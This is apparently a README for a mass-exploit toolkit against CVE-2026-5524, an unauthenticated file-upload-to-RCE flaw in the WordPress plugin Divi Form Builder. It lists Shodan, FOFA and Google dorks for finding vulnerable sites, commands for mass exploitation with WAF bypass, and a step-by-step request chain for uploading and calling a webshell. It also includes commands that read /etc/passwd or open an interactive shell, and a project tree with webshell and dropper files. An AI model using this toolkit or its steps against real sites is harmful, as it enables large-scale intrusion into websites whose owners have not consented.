CVE-2026-5524 — Divi Form Builder Unauthenticated RCE

Mass exploit toolkit for CVE-2026-5524, an unauthenticated arbitrary file upload vulnerability in the WordPress plugin Divi Form Builder <= 5.1.8 leading to remote code execution.

Contents

• Description
• Dorks
• Installation
• Usage
  • Single target
  • Mass exploit
  • Advanced bypass
  • Command execution
• Vulnerability details
• Bypass techniques
• Tech stack
• Project structure
• Attack flow
• Disclaimer

Description

The Divi Form Builder plugin for WordPress contains an unauthenticated arbitrary file upload vulnerability. The do_image_upload() handler passes the user-controlled acceptFileTypes POST parameter directly into a regular expression used to validate file extensions. By supplying a value such as phtml, an attacker can bypass the plugin's .htaccess rule that only blocks the .php extension and upload a webshell with a PHP-executable extension (.phtml, .phar, .php5, .php7, and similar).

Once the file lands in /wp-content/uploads/de_fb_uploads/, Apache executes it as PHP, granting the attacker remote code execution as the web server user.

The issue is fixed in Divi Form Builder 5.1.9.

Dorks

FOFA

body="de_fb_obj" && body="fb_nonce"

Shodan

http.html:"de_fb_obj" http.html:"fb_nonce"

Google

inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

app:"WordPress" && body:"de_fb_obj"

Censys

services.http.response.body: "de_fb_obj"

Installation

Requirements: Python 3.8 or newer on Linux, macOS, or WSL.

git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0

Usage

Single target

python3 CVE-2026-5524.py -u https://target.com

Mass exploit

python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Advanced bypass

For targets behind a WAF (NinjaFirewall, Wordfence, ModSecurity) or with hardened Apache or nginx configuration.

python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Command execution

After a successful upload, the script can immediately execute a command or drop into an interactive shell.

python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Flags

Vulnerability details

Vulnerable code

The vulnerable handler constructs a regex from user input without sanitization.

public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

By sending acceptFileTypes=phtml, the resulting regex /\.(phtml)$/i matches filenames ending in .phtml, even though the plugin's own .htaccess file only blocks the .php extension. Apache then executes the uploaded file as PHP, producing remote code execution.

Confirmed attack chain

1. Crawl a page that embeds a Divi Form Builder form (/, /contact, /quote, etc). Append a ?nocache=<random> parameter to defeat Varnish, WP Rocket, and other page caches that would otherwise serve a stale nonce.

2. Extract the fb_nonce value from the localised JavaScript object:

   root@kitploit:~

   de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
   

3. POST a multipart form to /wp-admin/admin-ajax.php with:

   root@kitploit:~

   action=de_fb_image_upload
   fb_nonce=<nonce>
   acceptFileTypes=phtml
   [email protected]
   

4. Read the file URL from the JSON response:

   root@kitploit:~

   {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
   

5. Request the shell with a base64 encoded command:

   root@kitploit:~

   curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
   

Bypass techniques

The script tries each technique in priority order and, when --aggressive is set, attempts every one even after the first upload reports success.

Tech stack

Exploit script

Custom shell (bypass.phtml)

Project structure

cve-2026-5524/
|-- CVE-2026-5524.py          Main exploit script
|-- bypass.phtml              16 KB multi-layer PHP webshell
|-- htaccess_enable.phtml     Dropper that writes a re-enabling .htaccess
|-- user_ini.phtml            Dropper that writes a .user.ini for PHP-FPM
|-- targets.txt               Example target list
|-- pwned.jsonl               Generated by the -o flag during mass scans
|-- requirements.txt          Python dependencies
`-- README.md                 This document

Attack flow

+--------------------------------------------------+
| 1. Recon                                         |
|    GET /?nocache=<random>                        |
|    Parse fb_nonce from de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Craft exploit                                 |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. Server accepts and stores file                |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Execute                                       |
|    GET shell.phtml?x=base64(command)             |
|    Remote code execution achieved                |
+--------------------------------------------------+

Disclaimer

This tool is provided for educational purposes and for use during authorised penetration testing engagements. Examples of acceptable use include:

• Bug bounty programs that explicitly authorise testing of the target
• Capture the flag competitions and dedicated lab environments
• Internal security assessments with written permission from the asset owner
• Academic security research conducted in a controlled setting

Unauthorised use against systems you do not own or have explicit written permission to test is illegal in virtually every jurisdiction and is strictly prohibited. The author does not condone or take responsibility for misuse of this code.

J'ai la permission et je suis autorisé à effectuer ce pentest. (I have permission and I am authorized to perform this pentest.)

Laws of likely relevance include Indonesia's UU ITE, the United States Computer Fraud and Abuse Act, the European Union Cybercrime Convention, and equivalent legislation elsewhere. When in doubt, obtain written authorisation first.

License

Educational use only. See the disclaimer section for the full terms of use.